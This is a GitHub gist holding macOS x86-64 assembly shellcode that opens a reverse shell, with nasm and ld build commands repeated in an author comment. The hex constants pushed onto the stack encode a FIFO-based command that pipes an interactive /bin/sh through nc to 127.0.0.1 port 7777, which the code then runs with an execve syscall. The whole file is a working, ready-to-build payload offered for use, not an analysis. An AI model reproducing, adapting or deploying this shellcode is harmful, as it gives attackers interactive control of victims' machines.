Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
reverse /bin/sh by nc, reference: https://modexp.wordpress.com/2017/01/21/shellcode-osx/
; date: 2018-12-11
; author: thinkycx
; description:
; reverse /bin/sh by nc, reference: https://modexp.wordpress.com/2017/01/21/shellcode-osx/
; usage:
; nasm -f macho64 macOS-reverse-shellcode.asm
; ld -macosx_version_min 10.7.0 -o macOS-reverse-shellcode macOS-reverse-shellcode.o
BITS 64
global start
section .text
start:
xor rax, rax
mov rax,0x2
ror rax, 0x28
or rax, 59
mov rcx, rax
xor rdx, rdx
mov rbx, 0x68732f2f6e69622f
push rdx
push rbx
push rsp
pop rdi
push rdx
mov rbx, 0x632d
push rdx
push rbx
push rsp
pop rbx
push rdx
mov rcx, 0x662f706d74
push rcx
mov rcx, 0x2f203e2037373737
push rcx
mov rcx, 0x20312e302e302e37
push rcx
mov rcx, 0x323120636e7c3126
push rcx
mov rcx, 0x3e3220692d206873
push rcx
mov rcx, 0x2f6e69622f7c662f
push rcx
mov rcx, 0x706d742f20746163
push rcx
mov rcx, 0x3b662f706d742f20
push rcx
mov rcx, 0x6f6669666b6d3b66
push rcx
mov rcx, 0x2f706d742f206d72
push rcx
push rsp
pop rcx
push rdx
push rcx
push rbx
push rdi
push rsp
pop rsi
syscall
@thinkycx
Copy link
Author

thinkycx commented Dec 12, 2018

compile it

nasm -f macho64 macOS-reverse-shellcode.asm
ld -macosx_version_min 10.7.0 -o macOS-reverse-shellcode macOS-reverse-shellcode.o

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment